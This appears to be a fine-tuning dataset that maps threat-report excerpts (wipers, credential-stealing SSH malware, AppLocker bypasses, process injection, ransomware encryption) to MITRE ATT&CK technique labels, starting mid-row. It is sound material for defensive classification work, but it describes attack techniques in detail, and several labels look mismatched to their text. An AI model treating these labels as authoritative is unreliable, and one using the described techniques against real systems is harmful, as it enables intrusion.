Channels'],fine_tune
"By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to. Thus the 2FA code was sent with supporting Chinese text",['T1111 - Multi-Factor Authentication Interception'],fine_tune
The script will then proceed to download a tar compressed archive from a download server according to the architecture of the compromised system,['T1105 - Ingress Tool Transfer'],fine_tune
"In their advisory published on Jan. 26, 2022, CERT-UA asserted that the initial vector for the malware, dubbed WhisperGate, was either a supply-chain attack or exploitation. The first payload in this infection is responsible for the initial attempt at wiping the systems. The malware executable wipes the master boot record (MBR) and replaces it with the code responsible for displaying the ransom note. Similar to the notorious NotPetya wiper that masqueraded as ransomware during its 2017 campaign, WhisperGate is not intended to be an actual ransom attempt, since the MBR is completely overwritten and has no recovery options. This wiper also tries to destroy the C:\ partition by overwriting it with fixed data. The additional steps taken to wipe the actual hard drive partition differentiate its behavior from other wiper malware like NotPetya. However, most modern systems today have switched to GUID Partition Table (GPT) from MBR, which allows for larger file systems and has fewer limitations, potentially limiting some of the impacts of this executable",['T1542.003 - Bootkit'],fine_tune
"Process name, service name, and driver path listings are obtained, and each value is hashed via the FNV-1a + XOR algorithm as described previously and checked against hardcoded blocklists. Some of these hashes have been brute force reversed as part of this analysis, showing that these routines are scanning for analysis tools and antivirus engine components. If a blocklisted process is found the Update routine exits and the sample will continue to try executing the routine until the blocklist passes. Some entries in the service list if found on the system may affect the DGA algorithms behavior in terms of the values generated. The list of stopped services is then bit-packed into the ReportWatcherPostpone key of the appSettings entry for the samples’ config file. The sample retrieves a driver listing via the WMI query Select * From Win32_SystemDriver",['T1057 - Process Discovery'],fine_tune
"Note that the actor used the DLL name wercplsupporte.dll as an attempt to masquerade as the legitimate DLL name, which is wercplsupport.dll (T1036.005: Match Legitimate Name or Location). In addition, more masquerading was used to make malicious Scheduled Tasks blend in with legitimate ones (T1053.005: Scheduled Task",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"All this data is merged in one file xmlrwbin.inc, which is then encrypted with RC4. To be able to decipher the data, the attacker should certainly know either the MD5 hash or the whole buffer content. This data is also sent, but RSA encrypted. The malware constructs a 1120 bit public key, uses it to encrypt the 117-bytes buffer. The malware then concatenates all the data to be sent as a 128-bytes block. The resulting data is saved in C:Program FilesCommon FilesSystemOle DB to a file named according to the following format",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
The file reflectively injects a ransomware DLL into the memory of the legitimate running process explorer.exe,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"They renamed their files to make them look like legitimate files, for example, KB77846376.exe, named after Microsoft update files. They routinely used standard tools that would mimic legitimate administrator activities. When planting webshells on the Outlook Exchange servers, they modified already existing legitimate flogon.js and logoff.aspx files. They relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution. They used multiple staging folders and opted to use directories that were used infrequently by legitimate users or processes. They routinely deleted dropped attack tools, execution logs, files staged for exfiltration, and other files after they were finished with them. They renamed their tools' filenames in the staging folder so that it would not be possible to identify the malware's purpose, even after it was deleted from the disk through the residual artifacts (e.g. ShimCache entries or WMI Recently Used Apps). - They used timestomping to modify the $STANDARD_INFORMATION attribute of the attack tools",['T1070.004 - Indicator Removal on Host: File Deletion'],fine_tune
"Limited obfuscation was encountered, where the authors split up strings into smaller sub-strings and used ‘strcpy’ and ‘strcat’ calls to re-build them prior to use. They also used this same technique to generate garbage strings that are never used. Comments have been added to show the fully-generated strings",['T1027 - Obfuscated Files or Information'],fine_tune
We also noticed that the actors reused the VBS decode function published by Motobit. Figure 4 shows the comparison between the base64 function used in the macro code and the VBS base64 decoder function published by Motobit,['T1059.005 - Command and Scripting Interpreter: Visual Basic'],fine_tune
"Windows AppLocker allows administrators to control which executable files are denied or authorized to execute. AppLocker works well for executables and over time it has also been improved to control various script types, including JScript, PowerShell and VBScript. This has significantly reduced the attack surface and forced attackers, including more sophisticated groups, to find new methods of launching executable code. A number of legitimate Windows executables that are not blocked by the default AppLocker policies has been discovered and various proof of concept AppLocker bypass code became publicly available. Example of malicious scriptlet file used to drop a malicious DLL dropper for the next stage Microsoft allows developers to create COM+ objects in script code stored in an XML document, a so-called scriptlet file. To bypass AppLocker and launching script code within a scriptlet, the attacker includes the malicious code within an XML script tag placed within the registration tag of the scriptlet file and calls cmstp with appropriate parameters. For example: Here, the attackers randomize the scriptlet name and use a .txt filename extension, likely in an attempt to bypass fundamental protection mechanisms that attempt to block file types based on the filename extension. Payload dropper in an XSL file Another executable used to attempt bypass of the AppLocker feature is msxsl.exe, a Windows utility used to run XSL (eXtensible Stylesheet Language) transformations. It takes an XML and an XSL file as a parameter, but it also loads the script engine and runs the script code within the &lt;msxsl:script&gt; tag of the supplied XSL file when invoked through a call placed within the &lt;xsl:value-of&gt; tag. Invoking the JScript code of the payload dropper within an XSL file The supplied XML file seems to be randomly generated and used simply because the second parameter is required and is of no further interest for analysis",['T1220 - XSL Script Processing'],fine_tune
Inception is continuing to use chains of infected routers to act as proxies and mask communications between the attackers and the cloud service providers they use. Certain router manufacturers have UPnP listening on WAN as a default configuration. These routers are hijacked by Inception and configured to forward traffic from one port to another host on the internet. Abuse of this service requires no custom malware to be injected on the routers and can be used at scale very easily. Inception strings chains of these routers together to create multiple proxies to hide behind,['T1090.003 - Proxy: Multi-hop Proxy'],fine_tune
The classic Shlayer technique is clearly evident here: passing encrypted and password-protected code to openssl and then writing that out as a payload to the /tmp folder,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"While both malware families are designed to deploy Cobalt Strike Beacon, there are differences in Cobalt Strike configuration. To date, Symantec has seen four samples of Raindrop. In three cases, Cobalt Strike was configured to use HTTPS as a communication protocol. In the fourth it was configured to use SMB Named Pipe as a communication protocol",['T1090.001 - Proxy: Internal Proxy'],fine_tune
"Nonetheless, the infected DLL contains just one method (named DynamicRun), that can receive a C# script from a web request, compile it on the fly, and execute it",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
There are additional keys within the Registry that can be modified to further roll back the patch and expose unsafe options in Outlook. The following setting can be used to re-enable the original home page tab and roaming home page behavior in the Outlook UI,['T1137.004 - Office Application Startup: Outlook Home Page'],fine_tune
"In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hashing algorithm generates a CRC32 hash of the string, converted to lowercase. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules. The hash algorithm has been replicated in Python below",['T1027 - Obfuscated Files or Information'],fine_tune
"Targets are approached with spearphishing emails that contain a link to a ZIP file hosted on Google Drive. That archive contains several LNK (aka shortcut) files that extract and execute a malicious JavaScript component, while displaying a decoy document","['T1204.001 - Malicious Link', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"Throughout our research, we witnessed several different infection chains being used to deliver the Aria-body backdoor. This RTF file, which was infected (weaponized) with the RoyalRoad exploit builder, drops a loader named intel.wll into the target PC’s Word startup folder. The loader in turn tries to download and execute the next stage payload from spool.jtjewifyn[.]com",['T1137.006 - Office Application Startup: Add-ins'],fine_tune
"When running on Windows 7, the malicious library uses the Metasploit Framework’s open-source code Win7Elevate to inject malicious code into explorer.exe",['T1055 - Process Injection'],fine_tune
"Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros. When the file is opened, it loads in Microsoft Excel and urges the user to enable macros",['T1204.002 - User Execution: Malicious File'],fine_tune
"RTF documents sent in the observed campaigns contain exploits for several vulnerabilities in Microsoft Office, and they seem to be created using a version of an exploit toolkit, often referred to as Threadkit. Threadkit is not exclusively used by the actors behind the observed attacks but also by other groups utilizing various payloads, including Trickbot, Lokibot, SmokeLoader and some other banking malware. The embedded object triggers a download of an HTML page containing the VBScript that exploits the vulnerability and launches the shellcode. The HTML component of the exploit is based on the original exploit code discovered in May this year. CVE-2018-8174 VB script exploit code",['T1203 - Exploitation for Client Execution'],fine_tune
"BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities",['T1082 - System Information Discovery'],fine_tune
"Upon execution, the Micropsia malware takes screenshots every 90 seconds by calling to Gdi32.BitBlt API. Screenshots are saved as unencrypted files in JPEG format with a specific file name that contains the current timestamp (yyyy-mm-dd hh-nn-ss) with the hardcoded extension .his",['T1113 - Screen Capture'],fine_tune
"Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions - Both variants contain a variety of functionalities based on command IDs issued by the control servers - Common capabilities of both malware: Listing files in directory Creating arbitrary processes Writing data received from control servers to files on disk Gathering information for all drives Gathering process times for all processes Sending the contents of a specific file to the control server Wiping and deleting files on disk Setting the current working directory for the implant Sending disk space information to the control server - Listing files in directory - Creating arbitrary processes - Writing data received from control servers to files on disk - Gathering information for all drives - Gathering process times for all processes - Sending the contents of a specific file to the control server - Wiping and deleting files on disk - Setting the current working directory for the implant - Sending disk space information to the control server - Both variants use a batch file mechanism to delete their binaries from the system - Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers","['T1082 - System Information Discovery', 'T1057 - Process Discovery', 'T1083 - File and Directory Discovery']",fine_tune
"Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. We conducted dynamic analysis to observe network and system behavior once it infected our Windows OS. We then conducted a static analysis to examine Lokibot’s techniques and targets. The response for this request is a customized 404 page, which can also be detected using Suricata signatures provided on the Malpedia page cited above as well. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. There are no unusual sections, and the size and distribution of the sections, especially .text, mirrors a standard unpacked binary (Figure 6).File Metadata and StringsThe binary is a PEx86 binary, which can be run on both x86 and 64-bit Windows OS. This is a strong indication that the binary is a .NET library, because mscoree.dll and _CoreExeMain are primarily used to load .NET binaries. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity. Because the malware was loaded into vbc.exe, the process viewer will show it as a legitimate process, making it more difficult for a user to identify",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"In a recent wave of attacks during February 2019, Elfin attempted to exploit a known vulnerability (CVE-2018-20250) in WinRAR, the widely used file archiving and compression utility capable of creating self-extracting archive files. The exploit was used against one target in the chemical sector in Saudi Arabia. If successfully exploited on an unpatched computer, the vulnerability could permit an attacker to install any file on the computer, which effectively permits code execution on the targeted computer",['T1203 - Exploitation for Client Execution'],fine_tune
"When the decrypt button is clicked without the ransom being paid, the malware decrypts the files listed in f.wnry. The files listed in f.wnry are those randomly selected to be encrypted with the embedded public key",['T1486 - Data Encrypted for Impact'],fine_tune
"The backdoor appears to support network communication over ports 80 (HTTP) and 443(HTTPS). In recent samples, a certificate is issued from the infected host for communication over HTTPS",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Close analysis of the delivered payloads and legitimate resources retrieved from URLs by the first stage malware dropper reveals that TA416 is once again using an updated version of PlugX malware to target their victims. Historically, the group has relied on a variety of legitimate antivirus files, including the Avast file resource wsc_proxy.exe, to begin the process of DLL search order hijacking that results in PlugX malware installation. In the January 2022 campaigns, TA416 used the PE file potplayermini.exe to initiate DLL search order hijacking. This is a legitimate executable file that is part of the publicly available media player Daum PotPlayer 1.5.29825, which Mandiant has previously documented as being susceptible to search order hijacking since at least 2016. The file DocConvDll.dll has also intermittently been used as a loader of the PlugX DAT configuration files. For those that are familiar with TA416’s historic tactics, techniques, and procedures (TTPs), this is highly similar to the Trident Loader method which the group used to install PlugX in previous campaigns",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],fine_tune
"Password from successful login to the infected server: Whenever someone logs in a system infected with Linux/Ebury, the sshd daemon will save the password and send it to the exfiltration server. Password on successful login from the infected server: When someone uses the ssh client on an infected server, Linux/Ebury will intercept the password and sent it to its exfiltration server. Private key passphrase: When the ssh client on an infected server prompts the user for an private key passphrase, the passphrase will be sent to the remote exfiltration server. Unencrypted private key: When a private key is used to authenticate to a remote server, the unencrypted version is intercepted by the malware. Unlike passwords, it will not send the key to the exfiltration server. Instead, it will store it memory and wait for the operators to fetch the key with the Xcat command. Private keys added to the OpenSSH agent with ssh-add: The keys added to an OpenSSH agent are also intercepted by the malware. Both the unencrypted key itself and the passphrase typed by the user will be logged",['T1552.004 - Unsecured Credentials: Private Keys'],fine_tune
Details: One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe. Writing an analytic looking for a process of esentutl.exe with Windows\WebCache in the command line may help you catch this behavior,['T1005 - Data from Local System'],fine_tune
"Executes VBScript using Process.Start. Next, the DLL loads an embedded resource named ""78c855a088924e92a7f60d661c3d1845"" into memory and decrypts it using multiple XOR operations. Loads the resource using Assembly.GetManifestResourceStream. Method that performs the XOR decryption. The decrypted resource is a DLL file embedded with two resources named ""AdvancedRun"" and ""Waqybg"" that are compressed with GZip. Two resources embedded in the decrypted resource. The third-stage DLL proceeds by loading the ""AdvancedRun"" resource into memory, decompressing it and dropping it as ""AdvancedRun.exe"" into the %TEMP% directory. Calling GZipStream class to decompress the resource. Drops AdvancedRun.exe using File.WriteAllBytes. The TrustedInstaller group was an addition to Windows beginning in Windows 7 with the goal of preventing accidental damage to critical system files",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named “vmtoolsd. Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name ‘MSASCuiLTasks’ in HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce for persistence. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],fine_tune
"This turned out to be the best solution, as the Cobalt group set up a controlled botnet in the bank's network which was very difficult to track and even harder to stop. Initially the Cobalt group focused on jackpotting ATMs: they launched a program that sent commands directly to the dispenser to issue cash. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&amp;C server without the need to update the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Raindrop is compiled as a DLL, which is built from a modified version of 7-Zip source code. The 7-Zip code is not utilized and is designed to hide malicious functionality added by the attackers. The DLL is compiled where the Name file of the Export Directory Table is “""7-zip.dll"" and the Export Names are",['T1036 - Masquerading'],fine_tune
"Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. Once gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, including Remote Desktop Protocol (RDP) to maintain access. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. A compromised or stolen certificate was used to sign several PE files used in STOLEN PENCIL for two sets of tools: - MECHANICAL Logs keystrokes to %userprofile%\appdata\roaming\apach. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including crypting and packing to reduce the possibility of detection by antivirus software",['T1027 - Obfuscated Files or Information'],fine_tune
"The malware also monitors all fixed and removable drives mapped on the local system. Whenever a new drive is inserted, it creates a list of all the files on the drive and stores it encrypted in a file",['T1119 - Automated Collection'],fine_tune
"This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Tools and binaries used by the attackers (e.g. ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations. Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward. The firewall rules were also methodically removed after the network reconnaissance was completed. Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services. We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments",['T1047 - Windows Management Instrumentation'],fine_tune
"The sample arrives as an app bundled in a Zip archive. It uses the icon for a Word document file as a disguise, attempting to pass itself off as a legitimate document file",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"The majority of 2017 and 2018 Karagany samples analyzed by CTU researchers were packed using a custom packer, albeit a reasonably simple one that performs a number of binary shifts and logic operations. Karagany campaigns in 2016 and prior typically used the UPX packer as an additional layer of obfuscation, but this behavior was not observed in 2017-2018 samples. Breaking on this function call in a debugger allows an analyst to dump the process and extract the unpacked Karagany binary for further analysis",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"Unlike a Docker engine that runs on a single host, a Kubernetes cluster typically contains more than one host and every host can run multiple containers. Given the abundant resources in a Kubernetes infrastructure, a hijacked Kubernetes cluster can be more profitable than a hijacked Docker host. This new TeamTNT malware campaign is one of the most complicated attacks targeting Kubernetes. This is also the most feature-rich malware we have seen from TeamTNT so far. In particular, the threat actor has developed more sophisticated tactics for initial access, execution, defense evasion and C2. Although the malware is still under development and the campaign is not yet widely spread, we believe the attacker will soon mature the tools and start a large-scale deployment",['T1133 - External Remote Services'],fine_tune
"OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
The instrumentor script also performs a cleanup of the cookies for Google Chrome and Microsoft Edge browsers. This is done by simply terminating any browser processes running on the system and then deleting the cookie files on disk,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"They renamed their files to make them look like legitimate files, for example, trilog.exe, named after a legitimate Schneider Electric application",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"After a user logs on, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service, LSASS, process in memory. While you can prevent a Windows computer from creating the LM hash in the local computer SAM database (and the AD database), this doesn’t prevent the system from generating the LM hash in memory. By default, Windows Server 2008 and Windows Vista no longer generate LM hashes for users unless explicitly enabled. Starting with Windows 8.1 and Windows Server 2012 R2, the LM hash and “clear-text” password are no longer in memory. This functionality was also “back-ported” to earlier versions of Windows (Windows 7/8/2008R2/2012) in kb2871997, though in order to prevent the “clear-text” password from being placed in LSASS, the following registry key needs to be set to “0” (Digest Disabled",['T1098 - Account Manipulation'],fine_tune
"Much like the known actors Miniduke or CommentCrew, it hides base64 encoded and encrypted control server locations in comments on legitimate web sites. However, unlike the previous actors, the encrypted data provides information about the next hop, or the true C2 for the backdoor, instead of initial commands",['T1102.001 - Dead Drop Resolver'],fine_tune
"Lateral movement began around 28 hours after initial entry, using SMB to drop a Cobalt Strike Beacon on a domain controller. From there, the threat actor used WMIC to execute the beacon",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Central Command network, including computers both in the headquarters and in the combat zones.The threat involved into this incident is referred as Agent.btz. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. Agent.btz file is not packed. Thus, it’s not known what kind of code could have been injected into the browser process. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.File wmcache.nldThe second spawned thread will wait for 10 seconds. The collected network details are also saved into the log file.File winview.ocxThe second spawned thread will log threat activity into the file %system32%\winview.ocx.This file is also encrypted with the same XOR mask. Posted by Sergei Shevchenko at Labels: Agent.btz Newer Post Older Post Home",['T1016 - System Network Configuration Discovery'],fine_tune
"Seaduke delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading “tasks” to a database file. Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine. One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"After this data has been aggregated, it is uploaded to a hardcoded command and control (C2) server via HTTP. The data is embedded within the ‘Cookie’ HTTP header, as seen below",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Persistence: Creates a Windows RUN registry key for persistence. The name of the key is: ""Dropbox Update Setup"". This name was consistent in all the samples. This key points to the location of the Python-compiled binary in the %appdata% directory to ensure that it is started automatically each time the system is rebooted","['T1036.004 - Masquerading: Masquerade Task or Service', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
"If you continue browsing the site, you agree to the use of cookies on this website. If you continue browsing the site, you agree to the use of cookies on this website. Home - Explore Submit Search . - Upload - Login - Signup - Upload - Home - Explore - Login - Signup Activate your 30 day free trial to unlock unlimited reading. Facebook - Twitter - LinkedIn - Share - Email - - No Easy Breach DerbyCon 2016 . 22 . Share . Download to read offline . Every IR presents unique challenges. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. This talk will showcase the obstacles overcome during one of the largest and most advanced breaches Mandiant has ever responded to, the novel investigative techniques employed, and the lessons learned that allowed us to help remediate it. All rights reserved.24 Our Response: Increased PowerShell Visibility • Upgraded the environment to PowerShell 3.0 and enabled logging • Logging captured input/output, variable initialization, etc. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. Unlimited Reading . Learn faster and smarter from top experts . Unlimited Downloading . Download to take your learnings offline and on the go . You also get free access to Scribd",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
The samples install HTTPBrowser at %APPDATA%/wdm.exe. Persistence is established via the HKCUSoftwareMicrosoftWindowsCurrentVersionRun key value for wdm set to the path of the executable. Previous samples have set persistence via Run key values for 360v,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. Running in RAM Cobalt Strike modules aren't stored in the file system; their executable code can only be found in RAM. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. The goal is to set the startup path to the executable file or program code, launching it with the powershell.exe shell command to access the Internet resource specified in the code in order to download and install Cobalt Strike module. Bypassing network security Cobalt Strike allows users to install two types of modules: HTTP/HTTPS/DNS modules and SMB modules. Another module is installed even in systems that do not have Internet access, as, using SMB protocol (which is typically used within a local network), the SMB module is controlled via infected computers running the HTTP/HTTPS/DNS module. The Cobalt Strike module can use several profiles and switch between data exchange methods on command from the C&amp;C server without the need to update the module. Connect to another computer using PsExec.exe (the remote access program is included in the Microsoft SysInternals suite), copy the module, and run it; delete the module. Use of standard tools Cobalt Strike is publicly accessible, and can be downloaded in order to learn and create detection rules on the network. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1219 - Remote Access Software'],fine_tune
"A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The payload contains an exploit for the unpatched local privilege escalation vulnerability CVE-2015-1701 in Microsoft Windows. The exploit uses CVE-2015-1701 to execute a callback in userspace. The callback gets the EPROCESS structures of the current process and the System process, and copies data from the System token into the token of the current process. Upon completion, the payload continues execution in usermode with the privileges of the System process",['T1134.001 - Access Token Manipulation: Token Impersonation/Theft'],fine_tune
"Several days after that, on July 10, 2020, the attackers connected to the router via SSH and set up the PuTTy PSCP (the PuTTY Secure Copy client) utility on one of the infected machines. This utility was used to upload malware to the router VM. This enabled the attackers to place malware onto systems in the restricted segment of the enterprise network, using the router to host the samples. In addition, malware running in the network’s restricted segment was able to exfiltrate the collected data to the command-and-control server via the Apache server set up on the same router",['T1021.004 - Remote Services: SSH'],fine_tune
"If the process is running with Low integrity, REvil terminates the current process and launches another instance of itself via ShellExecute using the ""runas"" command, which executes the new instance with administrative rights",['T1134.002 - Create Process with Token'],fine_tune
"A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP. When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions. Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries. Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization. This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment. Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing. Using a web shell as a primary backdoor gives Deep Panda several advantages",['T1505.003 - Server Software Component: Web Shell'],fine_tune
"The RDAT sample with the novel EWS C2 channel also had HTTP and DNS tunneling as C2 channels as well, which are very similar to other RDAT samples we collected. The HTTP C2 channel uses HTTP POST requests to transmit data to the C2 server",['T1030 - Data Transfer Size Limits'],fine_tune
"We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, . CF, .GA, .GQ, .ML) because they are available at no cost. The group has used domains on other TLDs, though rather sparingly. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP",['T1583.001 - Domains'],fine_tune
"One of the Cl0p variants encrypts the files by generating an RSA public key, retrieving its first 127 bytes and using them as the RC4 key, adding the Cl0p^_- header and the RC4 encrypting it again. Once the files are encrypted, the Cl0p extension will be added to each encrypted file",['T1486 - Data Encrypted for Impact'],fine_tune
"The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings",['T1082 - System Information Discovery'],fine_tune
"Additionally, Microsoft warned that this vulnerability could be used in the crafting of a wormable exploit. The Common Vulnerabilities and Exposures (CVE) site references this vulnerability as CVE-2008-4250",['T1210 - Exploitation of Remote Services'],fine_tune
"Siloscape mimics CExecSvc.exe privileges by impersonating its main thread and then calls NtSetInformationSymbolicLink on a newly created symbolic link to break out of the container. More specifically, it links its local containerized X drive to the host’s C drive",['T1611 - Escape to Host'],fine_tune
"To check the host language, it queries the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language\ and the value InstallLanguage. If the machine has the value 0419 (Russian), 0422 (Ukrainian) or 0423 (Belarusian), it call ExitProcess to stop executing",['T1614.001 - System Location Discovery: System Language Discovery'],fine_tune
"A custom executable that only contains the Metasploit shellcode. This is used to maintain access to a Meterpreter session. It is saved to C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence. Another custom executable used to execute PowerShell scripts. The Mosquito JScript backdoor that uses Google Apps Script as its C&amp;C server. Privilege escalation using the Metasploit module ext_server_priv.x86.dll [8",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"After initialization, the code monitors browser activities, looking for online banking sessions. Once these are found, the malware enables the attacker to display an overlay window in front of the victim’s browser to manipulate the user’s session in the background. In this way, the fraudulent transaction is performed from the victim’s machine, making it harder to detect for anti-fraud solutions on the bank’s end. The criminal can also request specific information, asked during the bank transaction, such as a secondary password and token, bypassing two-factor authentication solutions adopted by the financial sector","['T1185 - Browser Session Hijacking', 'T1185 - Browser Session Hijacking']",fine_tune
"All the text files are now packed into the archive temp.zip (%temp%\temp.zip) - zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt - txt is uploaded to the control server","['T1560 - Archive Collected Data', 'T1074.001 - Data Staged: Local Data Staging']",fine_tune
